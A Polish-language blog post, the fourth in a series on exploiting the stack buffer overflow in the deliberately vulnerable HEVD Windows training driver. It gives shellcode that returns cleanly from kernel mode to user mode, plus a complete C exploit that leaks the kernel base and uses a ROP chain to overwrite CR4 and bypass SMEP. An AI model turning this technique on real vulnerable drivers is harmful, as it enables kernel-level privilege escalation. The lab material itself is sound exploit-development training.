Post

[PL] HEVD Stack Buffer Overflow #4 - Home sweet home

[PL] HEVD Stack Buffer Overflow #4 - Home sweet home

W poprzednim artykule udało nam się wykonać ustalone przez nas rozkazy, z poziomu Ring 0. Problem leży w tym co się dzieje natychmiast po wykonaniu kodu. Ostatni rozkaz ret próbuje skoczyć do adresu na wierzchołku stosu, w którym aktualnie znajdują się śmieci. Musimy pamiętać, że rejestry RAX, RSI, RDI, R12, R14, R15 również zostały “zaśmiecone” przez przepełnienie pamięci.

Dwa podejścia

Pierwszym, klasycznym podejściem jest próba wznowienia normalnego działania sterownika. Skoro mamy kontrolę nad wykonywanym kodem, możemy spróbować przywrócić poprzednie, poprawne wartości rejestrów, oraz naprawić stos.

Drugim podejściem jest próba natychmiastowego powrotu do programu wywołującego przerwanie. Dzięki temu nie musimy martwić się zepsutym stosem oraz rejestrami.

Rozwiązanie drugie wydaje się ciekawsze, stąd spróbujemy powrócić do programu użytkownika “w połowie” wykonywania kodu sterownika.

Implementacja

Zastosuję rozwiązanie użytkownika Kristal. Link do jego artykułu znajduje się tutaj . Gorąco zachęcam do lektury.

Nasz kod wyglądać będzie w takim razie następująco:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
.code
main PROC
    mov rax, 2137h
    
    ; Powrót do programu
    mov rax, gs:[188h]               ; Rax <- Struktura _KTHREAD CurrentThread
    
    ; Sterownik przy wejściu zmniejszył wartość licznka APC.
    ; Musimy go wyzerować by system mógł wchodzić w inne przerwania systemowe
    mov dword ptr [rax + 1E4h], 0    ; ULONG CombinedApcDisable = 0
    
    ; Pobieramy ramkę przerwania w której znajdują się wartości rejestrów przed wywołaniem
    mov rax, [rax + 90h]             ; Rax <- Struktura _KTRAP_FRAME TrapFrame
    
    ; Przygotowujemy rejestry dla rozkazu sysretq
    mov rbp, [rax + 158h]            ; Rbp <- Stare ULONGLONG Rbp
    mov rcx, [rax + 168h]            ; Rcx <- Stare ULONGLONG Rip
    mov r11, [rax + 178h]            ; R11 <- Stare ULONG EFlags
    mov rsp, [rax + 180h]            ; Rsp <- Stare ULONGLONG Rsp
    
    ; Czyszczenie rejestrów Rax i Rdx przed sysretq
    xor rax, rax                     ; Rax = 0
    xor rdx, rdx                     ; Rdx = 0

    swapgs                           ; Zmieniamy GS na wyjściu z Ring 0
    sysretq                          ; Powrót do programu (Ring 3)
main ENDP
END

W dużym uproszczeniu:

  • Podczas wywołania systemowego KiSystemCall64, zapisywana jest ramka TrapFrame, w której znajdują się wartości kluczowych rejestrów m.in. Rbp, Rip, EFlags, Rsp programu przed wejściem w przerwanie.
  • W segmencie GS, podczas wykonywania kodu kernel-mode znajduje się pod offsetem 0x180 struktura KPRCB. Podążając za referencjami w tej strukturze (KPRCB -> CurrentThread -> TrapFrame) dochodzimy do ramki w której znajdują się zapisane wartości rejestrów. Aby znaleźć dokładne offsety możemy posłużyć się stroną VergiliusProject, oraz narzędziem WinDBG i poleceniem dt nt!_STRUKTURA
  • Uwadze zasługuje również licznik APC. Przy wywołaniu systemowym jego wartość zmieniana jest na -1. Zapobiega to wywoływaniu innych przerwań systemowych podczas wykonywania krytycznych rozkazów sterownika. Podczas wyjścia z sterownika konieczne jest ustawienie licznika APC z powrotem na 0. Inaczej przywita nas error APC_INDEX_MISMATCH
  • Finalnie, wartości rejestrów programu wywołującego umieszczane są w odpowiednich rejestrach. Po rozkazach swapgs oraz sysretq, udaje nam się powrócić do user-landu.

Kluczowe informacje:

  • Istotną rolę pełni mechanizm KVA Shadow. Jeżeli system stosuje funkcję KiSystemCall64Shadow w miejsce funkcji KiSystemCall64, wymagane jest również odzyskanie wartości rejestru CR3 przed powrotem do user-landu.
  • Powrót do programu tym sposobem powoduje nieoczekiwane zachowania. Chęć zamknięcia programu przyciskiem ‘X’ kończy się niepowodzeniem. Jedynym sposobem na zamknięcie programu jest zamknięcie go z poziomu Menedżera Zadań, choć nawet w tych sytuacjach program potrafi odmówić. Dlaczego tak się dzieje? Podejrzewam, że I/O Manager myśli, że nasze żądanie dalej jest przetwarzane, stąd próbuje czekać na zakończenie wykonywania funkcji sterownika w momencie próby zabicia programu.

Kod programu:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#include <stdio.h>
#include <Windows.h>
#include <stdint.h>
#include <psapi.h>
#include <tchar.h>

#define ull uint64_t

HANDLE getHandle() {
    HANDLE hDriver = CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", // Symlink do sterownika
        GENERIC_READ | GENERIC_WRITE, // Pełne uprawnienia dostępu
        0,
        NULL,
        OPEN_EXISTING, // Uzyskujemy dostęp wyłącznie do istniejącego obiektu
        0,
        NULL
    );

    if (hDriver == INVALID_HANDLE_VALUE) {
        DWORD err = GetLastError();
        printf("[!] Nieudana proba uzyskania handle do sterownika, error: %d\n", err);
        exit(1);
    }

    printf("[+] Uzyskano handle do sterownika\n");
    return hDriver;
}

ull getKernelBase() {
    const int ARRAY_SIZE = 1024;

    LPVOID drivers[ARRAY_SIZE];
    DWORD cbNeeded;
    int cDrivers, i;

    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
    {
        _tprintf(TEXT("[+] Adres bazowy kernela to: %llx\n"), (ull)drivers[0]);
        return (ull)drivers[0];
    }
    else
    {
        _tprintf(TEXT("[!] Polecenie EnumDeviceDrivers nieudane; wymagany rozmiar tablicy przekazywanej jako parametr to %zd\n"), cbNeeded / sizeof(LPVOID));
        return -1;
    }
    return -1;
}

LPVOID fillPattern(int inBufferSize) {
    // Alokujemy pamięć, której adres przekażemy do metody sterownika
    LPVOID inBuffer = VirtualAlloc(NULL, // Bez określonego adresu początkowego
        inBufferSize, // Liczba bajtów do alokacji
        MEM_COMMIT | MEM_RESERVE, // Rezerwacja i inicjalizacja pamięci
        PAGE_EXECUTE_READWRITE // Pamięć posiada pełne uprawnienia do modyfikacji oraz wykonywania
    );

    if (inBuffer == NULL) {
        DWORD err = GetLastError();
        printf("[!] Nieudalo sie zaalokowac pamieci, error: %d\n", err);
        exit(1);
    }

    printf("[+] Pomyslnie zaalokowano %d bajtow pamieci\n", inBufferSize);

    RtlFillMemory(inBuffer, inBufferSize, 'A');

    return inBuffer;
}

//kod z shellcode.asm który będzie wykonywany w ring 0.
LPVOID allocateShellcode() {
    BYTE shellcode[] = {
        0x48, 0xC7, 0xC0, 0x37, 0x21, 0x00, 0x00, 0x65, 0x48, 0x8B, 
        0x04, 0x25, 0x88, 0x01, 0x00, 0x00, 0xC7, 0x80, 0xE4, 0x01, 
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x80, 0x90, 
        0x00, 0x00, 0x00, 0x48, 0x8B, 0xA8, 0x58, 0x01, 0x00, 0x00, 
        0x48, 0x8B, 0x88, 0x68, 0x01, 0x00, 0x00, 0x4C, 0x8B, 0x98,
        0x78, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xA0, 0x80, 0x01, 0x00,
        0x00, 0x48, 0x33, 0xC0, 0x48, 0x33, 0xD2, 0x0F, 0x01, 0xF8,
        0x48, 0x0F, 0x07,
    };

    LPVOID shellpage = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlCopyMemory(shellpage, shellcode, sizeof(shellcode));

    return shellpage;
}

int main()
{
    HANDLE hDriver = getHandle(); // Uzyskujemy handle do komunikacji ze sterownikiem

    ull kernelBase = getKernelBase();
    if (kernelBase == -1) {
        printf("Nie udalo sie zdobyc adresu bazowego kernela, koncze program\n");
        return 1;
    }

    //Alokujemy pamięć, która trafi na stos
    const int inBufferSize = 2104;
    LPVOID inBuffer = fillPattern(inBufferSize);
    LPVOID shellPage = allocateShellcode();

    //wskaźnik na wierzchołek stosu
    ull* stackVertice = (ull*)((ull)inBuffer + 2072);

    //wartość cr4 należy dostosować w zależności od środowiska!
    ull cr4_value = 0x0000000000A50EF8;

    //przygotowujemy wartości na stos
    ull POP_RCX = kernelBase + 0x2148c8;
    ull CR4 = cr4_value;
    ull MOV_CR4_RCX = kernelBase + 0x3a0a87;
    ull SHELLCODE = (ull)shellPage;

    //umieszczamy wartości na stosie w kolejności wykonywania.
    int inc = 0;
    *(stackVertice + inc++) = POP_RCX;
    *(stackVertice + inc++) = CR4;
    *(stackVertice + inc++) = MOV_CR4_RCX;
    *(stackVertice + inc++) = SHELLCODE;

    DeviceIoControl(hDriver, // Handle do sterownika
        0x222003, // Kod IOCTL funkcji BufferOverflowStackIoctlHandler
        (LPVOID)inBuffer, // Nasz bufor wejściowy
        inBufferSize, // Rozmiar buforu wejściowego
        NULL, // Brak buforu wyjściowego
        0,
        NULL,
        NULL
    );

    printf("[+] Powrot do programu!\n");

    return 0;
}

Podsumowanie

W tym epizodzie udało nam się wykonać poprawny powrót do programu, nie powodując przy okazji BSOD’a. W następnym poście wykorzystamy możliwość wykonywania kodu w trybie uprzywilejowanym do manipulacji tokenami uprawnień.

This post is licensed under CC BY 4.0 by the author.

Trending Tags